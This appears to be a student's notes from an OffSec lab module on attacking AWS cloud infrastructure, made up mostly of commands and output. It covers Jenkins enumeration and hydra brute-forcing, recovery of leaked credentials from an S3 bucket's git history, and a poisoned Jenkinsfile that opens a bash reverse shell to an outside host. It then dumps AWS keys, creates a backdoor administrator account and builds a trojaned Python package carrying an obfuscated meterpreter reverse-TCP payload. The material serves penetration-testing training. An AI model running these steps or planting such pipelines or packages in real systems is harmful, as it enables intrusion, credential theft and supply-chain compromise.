Module 25: Attacking AWS Cloud Infrastructure
About the Public Cloud Labs
Progess is not saved. These labs are in OffSec's Ppublic Cloud Labs which are access directly through the internet.
Leaked Secrets to Poisoned Pipeline - Lab Design
Accessing the Labs
A DNS server's IP address
A Kali IP address
A Kali Password
An AWS account with no permissions (more on this later)
Each lab restart will require setting up the DNS server again.
Setting DNS server and verifying it:
kali@kali:~$ nmcli connection
NAME UUID TYPE DEVICE
Wired connection 1 67f8ac63-7383-4dfd-ae42-262991b260d7 ethernet eth0
lo 1284e5c4-6819-4896-8ad4-edeae32c64ce loopback lo
kali@kali:~$ sudo nmcli connection modify "Wired connection 1" ipv4.dns "203.0.113.84"
kali@kali:~$ sudo systemctl restart NetworkManager
kali@kali:~$ cat /etc/resolv.conf
# Generated by NetworkManager
search localdomain
nameserver 203.0.113.84
...
kali@kali:~$ nslookup git.offseclab.io
Server: 203.0.113.84
Address: 203.0.113.84#53
Non-authoritative answer:
Name: git.offseclab.io
Address: 198.18.53.73
Enumeration
Enumerating Jenkins
Enumerating Jenkins with MSF:
kali@kali:~$ msfconsole --quiet
msf6 > use auxiliary/scanner/http/jenkins_enum
msf6 auxiliary(scanner/http/jenkins_enum) > show options
Module options (auxiliary/scanner/http/jenkins_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /jenkins/ yes The path to the Jenkins-CI application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/http/jenkins_enum) > set RHOSTS automation.offseclab.io
RHOSTS => automation.offseclab.io
msf6 auxiliary(scanner/http/jenkins_enum) > set TARGETURI /
TARGETURI => /
msf6 auxiliary(scanner/http/jenkins_enum) > run
[+] 198.18.53.73:80 - Jenkins Version 2.385
[*] /script restricted (403)
[*] /view/All/newJob restricted (403)
[*] /asynchPeople/ restricted (403)
[*] /systemInfo restricted (403)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Enumerating the Git Server
Running hydra on the user login:
hydra -L ./users -P /usr/share/wordlists/rockyou.txt git.offseclab.io http-post-form "/user/login:user_name=^USER^&password=^PASS^:Username or password is incorrect."
Enumerating the Application
Reviewing the source code to find a S3 bucket:
<div class="carousel-item active">
<img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/bunny.jpg" class="d-block w-100" alt="...">
</div>
<div class="carousel-item">
<img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/golden-with-flower.jpg" class="d-block w-100"
alt="...">
</div>
<div class="carousel-item">
<img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/kittens.jpg" class="d-block w-100" alt="...">
</div>
<div class="carousel-item">
<img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/puppy.jpg" class="d-block w-100" alt="...">
</div>
Using curl to list the bucket:
kali@kali:~$ curl https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>VFK5KNV3PV9B8SKJ</RequestId><HostId>0J13xDMdIwQB3e3HLcQvfYpsRe1MO0Bn0OVUgl+7wtbs2v3XOZZn98WKQ0lsyqmpgnv5FjSGFaE=</HostId></Error>
Enumerating the bucket with just the first 50 lines of common.txt:
kali@kali:~$ head -n 51 /usr/share/wordlists/dirb/common.txt > first50.txt
kali@kali:~$ dirb https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com ./first50.txt
...
---- Scanning URL: https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/ ----
+ https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/.git/HEAD (CODE:200|SIZE:23)
...
DOWNLOADED: 50 - FOUND: 1
Using awscli to list contents of the bucket:
kali@kali:~$ aws s3 ls staticcontent-lgudbhv8syu2tgbk
PRE .git/
PRE images/
PRE scripts/
PRE webroot/
2023-04-04 13:00:52 972 CONTRIBUTING.md
2023-04-04 13:00:52 79 Caddyfile
2023-04-04 13:00:52 407 Jenkinsfile
2023-04-04 13:00:52 850 README.md
2023-04-04 13:00:52 176 docker-compose.yml
Discovering Secrets
Downloading the Bucket
Downloading a copy of the README.md:
kali@kali:~$ aws s3 cp s3://staticcontent-lgudbhv8syu2tgbk/README.md ./
download: s3://staticcontent-lgudbhv8syu2tgbk/README.md to ./README.md
Downloading the S3 bucket:
kali@kali:~$ mkdir static_content
kali@kali:~$ aws s3 sync s3://staticcontent-lgudbhv8syu2tgbk ./static_content/
download: s3://staticcontent-lgudbhv8syu2tgbk/.git/COMMIT_EDITMSG to static_content/.git/COMMIT_EDITMSG
...
download: s3://staticcontent-lgudbhv8syu2tgbk/images/kittens.jpg to static_content/images/kittens.jpg
kali@kali:~$ cd static_content
kali@kali:~/static_content$
Reviewing contents of discovered scripts:
kali@kali:~/static_content$ ls scripts
update-readme.sh upload-to-s3.sh
kali@kali:~/static_content$ cat -n scripts/update-readme.sh
01 # Update Readme to include collaborators images to s3
02
03 SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
04
05 SECTION="# Collaborators"
06 FILE=$SCRIPT_DIR/../README.md
07
08 if [ "$1" == "-h" ]; then
09 echo "Update the collaborators in the README.md file"
10 exit 0
11 fi
12
13 # Check if both arguments are provided
14 if [ "$#" -ne 2 ]; then
15 # If not, display a help message
16 echo "Usage: $0 USERNAME PASSWORD"
17 exit 1
18 fi
19
20 # Store the arguments in variables
21 username=$1
22 password=$2
23
24 auth_header=$(printf "Authorization: Basic %s\n" "$(echo -n "$username:$password" | base64)")
25
26 USERNAMES=$(curl -X 'GET' 'http://git.offseclab.io/api/v1/repos/Jack/static_content/collaborators' -H 'accept: application/json' -H $auth_header | jq .\[\].username | tr -d '"')
27
28 sed -i "/^$SECTION/,/^#/{/$SECTION/d;//!d}" $FILE
29 echo "$SECTION" >> $FILE
30 echo "$USERNAMES" >> $FILE
31 echo "" >> $FILE
Searching for Secrets in Git
Installing gitleaks:
kali@kali:~/static_content$ sudo apt update
...
kali@kali:~/static_content$ sudo apt install -y gitleaks
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
gitleaks
...
To run gitleaks, we must be in the root of the static_content folder:
kali@kali:~/static_content$ gitleaks detect
○
│╲
│ ○
○ ░
░ gitleaks
1:58PM INF no leaks found
1:58PM INF scan completed in 61.787205ms
Reviewing git log:
kali@kali:~/static_content$ git log
commit 07feec62e57fec8335e932d9fcbb9ea1f8431305 (HEAD -> master, origin/master)
Author: Jack <jack@offseclab.io>
Add Jenkinsfile
commit 64382765366943dd1270e945b0b23dbed3024340
Author: Jack <jack@offseclab.io>
Fix issue
commit 54166a0803785d745d68f132cde6e3859f425c75
Author: Jack <jack@offseclab.io>
Add Managment Scripts
commit 5c22f52b6e5efbb490c330f3eb39949f2dfe2f91
Author: Jack <jack@offseclab.io>
add Docker
commit 065abcd970335c35a44e54019bb453a4abd59210
Author: Jack <jack@offseclab.io>
Add index.html
commit 6e466ede070b7fb44e0ef38bef3504cf87e866d0
Author: Jack <jack@offseclab.io>
Add images
commit 85c736662f2644783d1f376dcfc1688e37bd1991
Author: Jack <jack@offseclab.io>
Init Repo
Reviewing the commit that noted "Fix issue":
kali@kali:~/static_content$ git show 64382765366943dd1270e945b0b23dbed3024340
commit 64382765366943dd1270e945b0b23dbed3024340
Author: Jack <jack@offseclab.io>
Fix issue
diff --git a/scripts/update-readme.sh b/scripts/update-readme.sh
index 94c67fc..c2fcc19 100644
--- a/scripts/update-readme.sh
+++ b/scripts/update-readme.sh
@@ -1,4 +1,5 @@
# Update Readme to include collaborators images to s3
+
SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
SECTION="# Collaborators"
@@ -9,9 +10,22 @@ if [ "$1" == "-h" ]; then
exit 0
fi
-USERNAMES=$(curl -X 'GET' 'http://git.offseclab.io/api/v1/repos/Jack/static_content/collaborators' -H 'accept: application/json' -H 'authorization: Basic YWRtaW5pc3RyYXRvcjo5bndrcWU1aGxiY21jOTFu' | jq .\[\].username | tr -d '"')
+# Check if both arguments are provided
+if [ "$#" -ne 2 ]; then
+ # If not, display a help message
+ echo "Usage: $0 USERNAME PASSWORD"
+ exit 1
+fi
+
+# Store the arguments in variables
+username=$1
+password=$2
+
+auth_header=$(printf "Authorization: Basic %s\n" "$(echo -n "$username:$password" | base64)")
+
+USERNAMES=$(curl -X 'GET' 'http://git.offseclab.io/api/v1/repos/Jack/static_content/collaborators' -H 'accept: application/json' -H $auth_header | jq .\[\].username | tr -d '"')
sed -i "/^$SECTION/,/^#/{/$SECTION/d;//!d}" $FILE
echo "$SECTION" >> $FILE
echo "$USERNAMES" >> $FILE
-echo "" >> $FILE
+echo "" >> $FILE
\ No newline at end of file
Reviewing the basic authentication base64 string discovered:
kali@kali:~/static_content$ echo "YWRtaW5pc3RyYXRvcjo5bndrcWU1aGxiY21jOTFu" | base64 --decode
administrator:9nwkqe5hlbcmc91n
Poisoning the Pipeline
Enumerating the Repositories
Reviewing the Jenkinsfile now that we are logged in as administrator and can browse the repo:
01 pipeline {
02 agent any
03 // TODO automate the building of this later
04 stages {
05 stage('Build') {
06 steps {
07 echo 'Building..'
08 }
09 }
10 stage('Test') {
11 steps {
12 echo 'Testing..'
13 }
14 }
15 stage('Deploy') {
16 steps {
17 echo 'Deploying....'
18 }
19 }
20 }
21 }
Nothing much here. Checking out the other repo's Jenkinsfile:
01 pipeline {
02 agent any
03
04 stages {
05
06
07 stage('Validate Cloudfront File') {
08 steps {
09 withAWS(region:'us-east-1', credentials:'aws_key') {
10 cfnValidate(file:'image-processor-template.yml')
11 }
12 }
13 }
14
15 stage('Create Stack') {
16 steps {
17 withAWS(region:'us-east-1', credentials:'aws_key') {
18 cfnUpdate(
19 stack:'image-processor-stack',
20 file:'image-processor-template.yml',
21 params:[
22 'OriginalImagesBucketName=original-images-lgudbhv8syu2tgbk',
23 'ThumbnailImageBucketName=thumbnail-images--lgudbhv8syu2tgbk'
24 ],
25 timeoutInMinutes:10,
26 pollInterval:1000)
27 }
28 }
29 }
30 }
31 }
Modifying the Pipeline
Modifying the Jenkinsfile for static_content to spawn a reverse shell:
pipeline {
agent any
stages {
stage('Send Reverse Shell') {
steps {
withAWS(region: 'us-east-1', credentials: 'aws_key') {
script {
if (isUnix()) {
sh 'bash -c "bash -i >& /dev/tcp/192.88.99.76/4242 0>&1" & '
}
}
}
}
}
}
}
Enumerating the Builder
OS and Kernel enumeration:
jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ uname -a
uname -a
Linux fcd3cc360d9e 4.14.309-231.529.amzn2.x86_64 #1 SMP Tue Mar 14 23:44:59 UTC 2023 x86_64 GNU/Linux
jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ cat /etc/os-release
cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Listing working and home directory:
jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ ls
ls
Jenkinsfile
README.md
image-processor-template.yml
jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ cd ~
jenkins@fcd3cc360d9e:~$ ls -a
ls -a
.
..
.bash_logout
.bashrc
.cache
.config
.profile
.ssh
agent
Checking for private keys, authorized keys, and the network configuration:
jenkins@fcd3cc360d9e:~$ ls -a .ssh
ls -a
.
..
authorized_keys
jenkins@fcd3cc360d9e:~$ cat .ssh/authorized_keys
cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP+HH9VS2Oe1djuSNJWhbYaswUC544I0QCp8sSdyTs/yQiytovhTAP/Z1eA2n0OZB2/4/oJn5wpdui8TTnkQGb6KdiLMfO1hZep7QVAY1QAwxLaKz6iEAFUuNxRrctwebVNCVokZr1yQmvlW0qKdQ5RaqU5xu35oDsYhk5vcQj+o8FAhkI5zkA4Mq6UPdLgakxEHaxJT4vWL7rYYvMW8Wz2/ngZS4LlcYmTVRiSRxFs1LdwTwC5DDlL05sqqFGED+Gs6Jy6VFhCZE0oFGZ0EoIMXkjasifVUvf7jPJ/qFKRP47AwJ6zMUUGlwf8t5HFwzK6ZmDoKUiUHg6ZdOEHxHYJRXqQ1IILpgp9g+1+NhYpIwpnvkuurCLFpKby4rRKkECueRUjSMsArKuTdPBZZ1cpC12z/czcGzTib1AjIUaNwobsU5dwVbgPLnDJ6vYVQGTNq5/PLRBeHCluzpaiHFtrP80PL9XomVhCI+lGTKxD9QxYq+mSYyESiEeu7idqw8= jenkins@jenkins
jenkins@fcd3cc360d9e:~$ ifconfig
ifconfig
bash: ifconfig: command not found
jenkins@fcd3cc360d9e:~$ ip a
ip a
bash: ip: command not found
The results for network configuration information indicate likely being inside a container.
Checking mounts:
jenkins@fcd3cc360d9e:~$ cat /proc/mounts
cat /proc/mounts
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ZWMYT5LL7SJG7W2C2AQDU3DNZU:/var/lib/docker/overlay2/l/NWVNHZEQTXKQV7TK6L5PBW2LY6:/var/lib/docker/overlay2/l/XQAFTST24ZNNZODESKXRXG2DT3:/var/lib/docker/overlay2/l/XQEBX4RY52MDAKX5AHOFQ33C3J:/var/lib/docker/overlay2/l/RL6A3EXVAAKLS2H3DCFGHT6G4I:/var/lib/docker/overlay2/l/RK5MUYP5EXDS66AROAZDUW4VJZ:/var/lib/docker/overlay2/l/GITV6R24OXBRFWILXTIPQJWAUO:/var/lib/docker/overlay2/l/IJIDXIBWIZUYBIWUF5YWXCOG4L:/var/lib/docker/overlay2/l/6MLZE4Z6A4O4GGDABKH4SEB2ML:/var/lib/docker/overlay2/l/DWFB6EYO3HEPBCCAWYQ4256GNS:/var/lib/docker/overlay2/l/I7JY2SWCL2IPGXKRREITBKE3XF:/var/lib/docker/overlay2/l/U3ULKCXTN7B3QA7WZBNB67UESW,upperdir=/var/lib/docker/overlay2/b01b1c72bc2d688d01493d2aeda69d6a4ec1f6dbb3934b8c1ba00aed3040de4a/diff,workdir=/var/lib/docker/overlay2/b01b1c72bc2d688d01493d2aeda69d6a4ec1f6dbb3934b8c1ba00aed3040de4a/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /sys/fs/cgroup tmpfs rw,nosuid,nodev,noexec,relatime,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,nosuid,nodev,noexec,relatime,hugetlb 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
/dev/xvda1 /run xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /tmp xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /home/jenkins xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /run xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /etc/resolv.conf xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /etc/hostname xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /etc/hosts xfs rw,noatime,attr2,inode64,noquota 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0
Output confirms we're inside a docker container.
Checking Capability for container:
jenkins@fcd3cc360d9e:~$ cat /proc/1/status | grep Cap
cat /proc/1/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Decoding the capabilities:
kali@kali:~$ capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Discovering AWS keys:
jenkins@fcd3cc360d9e:~$ env | grep AWS
env | grep AWS
AWS_DEFAULT_REGION=us-east-1
AWS_REGION=us-east-1
AWS_SECRET_ACCESS_KEY=W4gtNvsaeVgx5278oy5AXqA9XbWdkRWfKNamjKXo
AWS_ACCESS_KEY_ID=AKIAUBHUBEGIMU2Y5GY7
Compromising the Environment via Backdoor Account
Discovering What We Have Access To
Configured a new profile with the information discovered:
kali@kali:~$ aws configure --profile=CompromisedJenkins
AWS Access Key ID [None]: AKIAUBHUBEGIMU2Y5GY7
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:
Getting User Name:
kali@kali:~$ aws --profile CompromisedJenkins sts get-caller-identity
{
"UserId": "AIDAUBHUBEGILTF7TFWME",
"Account": "274737132808",
"Arn": "arn:aws:iam::274737132808:user/system/jenkins-admin",
}
Listing Policies and Group for User:
kali@kali:~$ aws --profile CompromisedJenkins iam list-user-policies --user-name jenkins-admin
{
"PolicyNames": [
"jenkins-admin-role"
]
}
kali@kali:~$ aws --profile CompromisedJenkins iam list-attached-user-policies --user-name jenkins-admin
{
"AttachedPolicies": []
}
kali@kali:~$ aws --profile CompromisedJenkins iam list-groups-for-user --user-name jenkins-admin
{
"Groups": []
}
Getting the user policy discovered:
kali@kali:~$ aws --profile CompromisedJenkins iam get-user-policy --user-name jenkins-admin --policy-name jenkins-admin-role
{
"UserName": "jenkins-admin",
"PolicyName": "jenkins-admin-role",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
}
Creating a Backdoor Account
Creating our backdoor user:
kali@kali:~$ aws --profile CompromisedJenkins iam create-user --user-name backdoor
{
"User": {
"Path": "/",
"UserName": "backdoor",
"UserId": "AIDAUBHUBEGIPX2SBIHLB",
"Arn": "arn:aws:iam::274737132808:user/backdoor",
}
}
Attaching the AdministratorAccess policy to our backdoor user:
kali@kali:~$ aws --profile CompromisedJenkins iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Getting our user creds:
kali@kali:~$ aws --profile CompromisedJenkins iam create-access-key --user-name backdoor
{
"AccessKey": {
"UserName": "backdoor",
"AccessKeyId": "AKIAUBHUBEGIDGCLUM53",
"Status": "Active",
"SecretAccessKey": "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",
}
}
Configuring our new backdoor profile:
kali@kali:~$ aws configure --profile=backdoor
AWS Access Key ID [None]: AKIAUBHUBEGIDGCLUM53
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:
kali@kali:~$ aws --profile backdoor iam list-attached-user-policies --user-name backdoor
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}
Dependency Chain Abuse
Accessing the Labs
A DNS server's IP address
A Kali IP address
A Kali password
Information Gathering
Enumerating the Services
Poke around the website. Check Network tab of the developer settings, look at the headers.
Conducting Open Source Intelligence
Search sites like Stack Overflow, Reddit, etc.
Dependency Chain Attack
Understanding the Attack
Creating Our Malicious Package
Structure of a Python Package:
└── hackshort-util
├── setup.py
└── hackshort_util
└── __init__.py
Instead of setup.py, we can also use pyproject.toml or setup.cfg.
Creating a basic Python Package:
kali@kali:~$ mkdir hackshort-util
kali@kali:~$ cd hackshort-util
kali@kali:~/hackshort-util$ nano setup.py
kali@kali:~/hackshort-util$ cat -n setup.py
01 from setuptools import setup, find_packages
02
03 setup(
04 name='hackshort-util',
05 version='1.1.4',
06 packages=find_packages(),
07 classifiers=[],
08 install_requires=[],
09 tests_require=[],
10 )
kali@kali:~/hackshort-util$ mkdir hackshort_util
kali@kali:~/hackshort-util$ touch hackshort_util/__init__.py
Running the newly created Python Package:
kali@kali:~/hackshort-util$ python3 ./setup.py sdist
running sdist
running egg_info
writing hackshort_util.egg-info/PKG-INFO
writing dependency_links to hackshort_util.egg-info/dependency_links.txt
writing top-level names to hackshort_util.egg-info/top_level.txt
reading manifest file 'hackshort_util.egg-info/SOURCES.txt'
writing manifest file 'hackshort_util.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
running check
creating hackshort-util-1.1.4
creating hackshort-util-1.1.4/hackshort_util
creating hackshort-util-1.1.4/hackshort_util.egg-info
copying files to hackshort-util-1.1.4...
copying setup.py -> hackshort-util-1.1.4
copying hackshort_util/__init__.py -> hackshort-util-1.1.4/hackshort_util
copying hackshort_util/utils.py -> hackshort-util-1.1.4/hackshort_util
copying hackshort_util.egg-info/PKG-INFO -> hackshort-util-1.1.4/hackshort_util.egg-info
copying hackshort_util.egg-info/SOURCES.txt -> hackshort-util-1.1.4/hackshort_util.egg-info
copying hackshort_util.egg-info/dependency_links.txt -> hackshort-util-1.1.4/hackshort_util.egg-info
copying hackshort_util.egg-info/top_level.txt -> hackshort-util-1.1.4/hackshort_util.egg-info
Writing hackshort-util-1.1.4/setup.cfg
Creating tar archive
removing 'hackshort-util-1.1.4' (and everything under it)
Installing hackshort-util locally:
kali@kali:~/hackshort-util$ pip install ./dist/hackshort-util-1.1.4.tar.gz
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: http://pypi.offseclab.io, http://127.0.0.1
Processing ./dist/hackshort-util-1.1.4.tar.gz
Preparing metadata (setup.py) ... done
Building wheels for collected packages: hackshort-util
Building wheel for hackshort-util (setup.py) ... done
Created wheel for hackshort-util: filename=hackshort_util-1.1.4-py3-none-any.whl size=1188 sha256=2b00a9631c7fb9e1094b6c6ac70bd4424f1ecc3110e05dc89b6352229ed58f93
Stored in directory: /home/kali/.cache/pip/wheels/da/63/05/afd9e305b95f17a67a64eaa1e62f8acfd4fe458712853c2c3d
Successfully built hackshort-util
Installing collected packages: hackshort-util
Successfully installed hackshort-util-1.1.4
Importing and using hackshort_util package:
kali@kali:~$ python3
Python 3.11.2 [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hackshort_util
>>> print(hackshort_util)
<module 'hackshort_util' from '/home/kali/.local/lib/python3.11/site-packages/hackshort_util/__init__.py'>
Uninstalling hackshort-util so we can reinstall with our updates:
kali@kali:~/hackshort-util$ pip uninstall hackshort-util
Found existing installation: hackshort-util 1.1.4
Uninstalling hackshort-util-1.1.4:
Would remove:
/home/kali/.local/lib/python3.11/site-packages/hackshort_util-1.1.4.dist-info/*
/home/kali/.local/lib/python3.11/site-packages/hackshort_util/*
Proceed (Y/n)? Y
Successfully uninstalled hackshort-util-1.1.4
Command Execution During Install
Adding custom code to run during install:
kali@kali:~/hackshort-util$ cat -n setup.py
01 from setuptools import setup, find_packages
02 from setuptools.command.install import install
03
04 class Installer(install):
05 def run(self):
06 install.run(self)
07 with open('/tmp/running_during_install', 'w') as f:
08 f.write('This code was executed when the package was installed')
09
10 setup(
11 name='hackshort-util',
12 version='1.1.4',
13 packages=find_packages(),
14 classifiers=[],
15 install_requires=[],
16 tests_require=[],
17 cmdclass={'install': Installer}
18 )
19
Removing the existing package then building the new package:
kali@kali:~/hackshort-util$ rm ./dist/hackshort-util-1.1.4.tar.gz
kali@kali:~/hackshort-util$ cat /tmp/running_during_install
cat: /tmp/running_during_install: No such file or directory
kali@kali:~/hackshort-util$ python3 ./setup.py sdist
...
Installing the new package and checking if custom code executed:
kali@kali:~/hackshort-util$ pip install ./dist/hackshort_util-1.1.4.tar.gz
...
kali@kali:~/hackshort-util$ cat /tmp/running_during_install
This code was executed when the package was installed
Command Execution During Runtime
We know the developers we're targeting use the package by importing utils
from hackshort_utils
.
Creating utils.py file with Exception Hook function:
kali@kali:~/hackshort-util$ nano hackshort_util/utils.py
kali@kali:~/hackshort-util$ cat -n hackshort_util/utils.py
01 import time
02 import sys
03
04 def standardFunction():
05 pass
06
07 def __getattr__(name):
08 pass
09 return standardFunction
10
11 def catch_exception(exc_type, exc_value, tb):
12 while True:
13 time.sleep(1000)
14
15 sys.excepthook = catch_exception
Uninstalling, rebuilding, and reinstalling hackshort-util package:
kali@kali:~/hackshort-util$ pip uninstall hackshort-util
...
kali@kali:~/hackshort-util$ python3 ./setup.py sdist
...
kali@kali:~/hackshort-util$ pip install ./dist/hackshort_util-1.1.4.tar.gz
...
Testing our newly created package:
kali@kali:~$ python3
Python 3.11.2 [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from hackshort_util import utils
>>> utils.run()
>>> 1/0
Adding a Payload
Generating a python meterpreter payload:
kali@kali:~$ msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.88.99.76 LPORT=4488
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 436 bytes
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGMPuUrvtYgURDyIiuHsTWdp01NI0KZmsVsX/7oYsXmZ4b968+ejHyflA0ekBgvw2fSvbBqHIJQZ/0EGGfgTy6jydaW+pb+wb8OVCbEgW/NcxZlinZpUSX8kT3j7e3O+3u6fb6wcRdUo7a0EHztmyWqmyVFWl1gWTeV6WIkpaD81AMpg1TCF6x+EKDcDELwQxddpJHezU6IGzqzsmUXnQHzwX4nnxQrr6hI0gn++9AWrA8k5cmqNdd/ZfPU+0IDCD5vFs1YF24+QBkacPqLbII9lBVMofhmyDv4L8AerjXyE=')[0])))
Modifying utils.py to add the generated payload:
kali@kali:~/hackshort-util$ nano hackshort_util/utils.py
kali@kali:~/hackshort-util$ cat -n hackshort_util/utils.py
01 import time
02 import sys
03
04 def standardFunction():
05 pass
06
07 def __getattr__(name):
08 pass
09 return standardFunction
10
11 def catch_exception(exc_type, exc_value, tb):
12 while True:
13 time.sleep(1000)
14
15 sys.excepthook = catch_exception
16
17 exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGMPuUrvtYgURDyIiuHsTWdp01NI0KZmsVsX/7oYsXmZ4b968+ejHyflA0ekBgvw2fSvbBqHIJQZ/0EGGfgTy6jydaW+pb+wb8OVCbEgW/NcxZlinZpUSX8kT3j7e3O+3u6fb6wcRdUo7a0EHztmyWqmyVFWl1gWTeV6WIkpaD81AMpg1TCF6x+EKDcDELwQxddpJHezU6IGzqzsmUXnQHzwX4nnxQrr6hI0gn++9AWrA8k5cmqNdd/ZfPU+0IDCD5vFs1YF24+QBkacPqLbII9lBVMofhmyDv4L8AerjXyE=')[0])))
Logging into the cloud Kali instance via SSH:
kali@kali:~$ ssh kali@192.88.99.76
The authenticity of host '192.88.99.76 (192.88.99.76)' can't be established.
ED25519 key fingerprint is SHA256:uw2cM/UTH1lO2xSphPrIBa66w3XqioWiyrWRgHND/WI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.88.99.76' (ED25519) to the list of known hosts.
kali@192.88.99.76's password:
kali@cloud-kali:~$
Initializing Metasploit's Database:
kali@cloud-kali:~$ sudo msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
Starting Metasploit and configuring the handler:
kali@cloud-kali:~$ msfconsole
....
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
